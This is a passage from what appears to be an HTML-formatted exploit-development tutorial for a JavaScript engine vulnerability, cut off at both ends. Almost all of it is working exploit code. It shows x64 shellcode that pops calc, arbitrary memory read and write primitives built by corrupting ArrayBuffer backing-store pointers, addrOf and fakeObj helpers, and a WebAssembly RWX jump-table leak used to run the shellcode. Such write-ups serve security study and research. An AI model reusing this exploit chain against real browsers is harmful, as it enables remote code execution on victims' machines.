class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x14</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0xeb</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0xf3</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x05</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xeb</span><span class="p">,</span><span class="mh">0xe6</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xa8</span><span class="p">,</span><span class="mh">0x96</span><span class="p">,</span><span class="mh">0x91</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc6</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x9e</span><span class="p">,</span><span class="mh">0x93</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">]);</span>
</code></pre></div></div>
<p>After preparing our shellcode, we now need to add a new memory <code class="language-plaintext highlighter-rouge">write</code> primitive via our array buffers, since our current <code class="language-plaintext highlighter-rouge">write64</code> function only writes data using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigUint64Array">BigUint64Array</a> representation.</p>
<p>For this <code class="language-plaintext highlighter-rouge">write</code> primitive, we can reuse the code for <code class="language-plaintext highlighter-rouge">write64</code>, but with two minor changes. First of all, we need to make <code class="language-plaintext highlighter-rouge">view2</code> a <code class="language-plaintext highlighter-rouge">Uint8Array</code> instead of a <code class="language-plaintext highlighter-rouge">BigUint64Array</code>. Second of all, to write our full shellcode via our view, we will call the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/set">set</a> function. This allows us to store multiple values in the array buffer instead of just using an index as before.</p>
<p>The new <code class="language-plaintext highlighter-rouge">write</code> memory primitive will look like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">memory</span> <span class="o">=</span> <span class="p">{</span>
<span class="nx">write</span><span class="p">(</span><span class="nx">addr</span><span class="p">,</span> <span class="nx">bytes</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">view2</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="nx">bytes</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>
<p>With that completed, all that’s left to do is to update the exploit script to include the new <code class="language-plaintext highlighter-rouge">write</code> primitive, add our shellcode, write it to the leaked jump table address, and finally call our WebAssembly function to execute our shellcode!</p>
<p>The final updated exploit script will look like so.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Properties p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2"> and p</span><span class="p">${</span><span class="nx">p2</span><span class="p">}</span><span class="s2"> overlap!`</span><span class="p">);</span>
<span class="c1">// Create Array Buffers</span>
<span class="kd">let</span> <span class="nx">arrBuf1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="c1">// Leak Address of arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaking ArrayBuffer Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2Addr</span> <span class="o">=</span> <span class="nx">addrOf</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] ArrayBuffer Address @ 0x</span><span class="p">${</span><span class="nx">arrBuf2Addr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="c1">// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Corrupting ArrayBuffer Backing Store...</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf1BackingStore</span> <span class="o">=</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">,</span> <span class="nx">arrBuf2Addr</span><span class="p">);</span>
<span class="c1">// Store Original Backing Store Pointer of arrBuf2</span>
<span class="kd">let</span> <span class="nx">view1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf2BackingStore</span> <span class="o">=</span> <span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
<span class="c1">// Construct Memory Primitives via Array Buffers</span>
<span class="kd">let</span> <span class="nx">memory</span> <span class="o">=</span> <span class="p">{</span>
<span class="nx">write</span><span class="p">(</span><span class="nx">addr</span><span class="p">,</span> <span class="nx">bytes</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">view2</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="nx">bytes</span><span class="p">);</span>
<span class="p">},</span>
<span class="nx">read64</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">view2</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">},</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">addr</span><span class="p">,</span> <span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">view2</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">;</span>
<span class="p">},</span>
<span class="nx">addrOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">arrBuf2</span><span class="p">.</span><span class="nx">leakMe</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">props</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">read64</span><span class="p">(</span><span class="nx">arrBuf2Addr</span> <span class="o">+</span> <span class="mi">8</span><span class="nx">n</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="nx">n</span><span class="p">;</span>
<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">read64</span><span class="p">(</span><span class="nx">props</span> <span class="o">+</span> <span class="mi">16</span><span class="nx">n</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="nx">n</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Constructed Memory Read and Write Primitive!</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Generating a WebAssembly Instance...</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// Generate RWX region for Shellcode via WASM</span>
<span class="kd">var</span> <span class="nx">wasmCode</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">133</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">127</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">130</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">132</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">131</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">129</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">145</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">121</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">138</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">132</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">65</span><span class="p">,</span><span class="mi">42</span><span class="p">,</span><span class="mi">11</span><span class="p">]);</span>
<span class="kd">var</span> <span class="nx">wasmModule</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Module</span><span class="p">(</span><span class="nx">wasmCode</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">wasmInstance</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Instance</span><span class="p">(</span><span class="nx">wasmModule</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">func</span> <span class="o">=</span> <span class="nx">wasmInstance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">main</span><span class="p">;</span>
<span class="c1">// Leak WebAssembly Instance Address and Jump Table Start Pointer</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaking WebAssembly Instance Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">wasmInstanceAddr</span> <span class="o">=</span> <span class="nx">memory</span><span class="p">.</span><span class="nx">addrOf</span><span class="p">(</span><span class="nx">wasmInstance</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] WebAssembly Instance Address @ 0x</span><span class="p">${</span><span class="nx">wasmInstanceAddr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">wasmRWXAddr</span> <span class="o">=</span> <span class="nx">memory</span><span class="p">.</span><span class="nx">read64</span><span class="p">(</span><span class="nx">wasmInstanceAddr</span> <span class="o">+</span> <span class="mh">0xF0</span><span class="nx">n</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] WebAssembly RWX Jump Table Address @ 0x</span><span class="p">${</span><span class="nx">wasmRWXAddr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Preparing Shellcode...</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// Prepare Calc Shellcode</span>
<span class="kd">let</span> <span class="nx">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xe7</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x14</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0xeb</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0xf3</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x05</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xeb</span><span class="p">,</span><span class="mh">0xe6</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xa8</span><span class="p">,</span><span class="mh">0x96</span><span class="p">,</span><span class="mh">0x91</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc6</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x9e</span><span class="p">,</span><span class="mh">0x93</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span 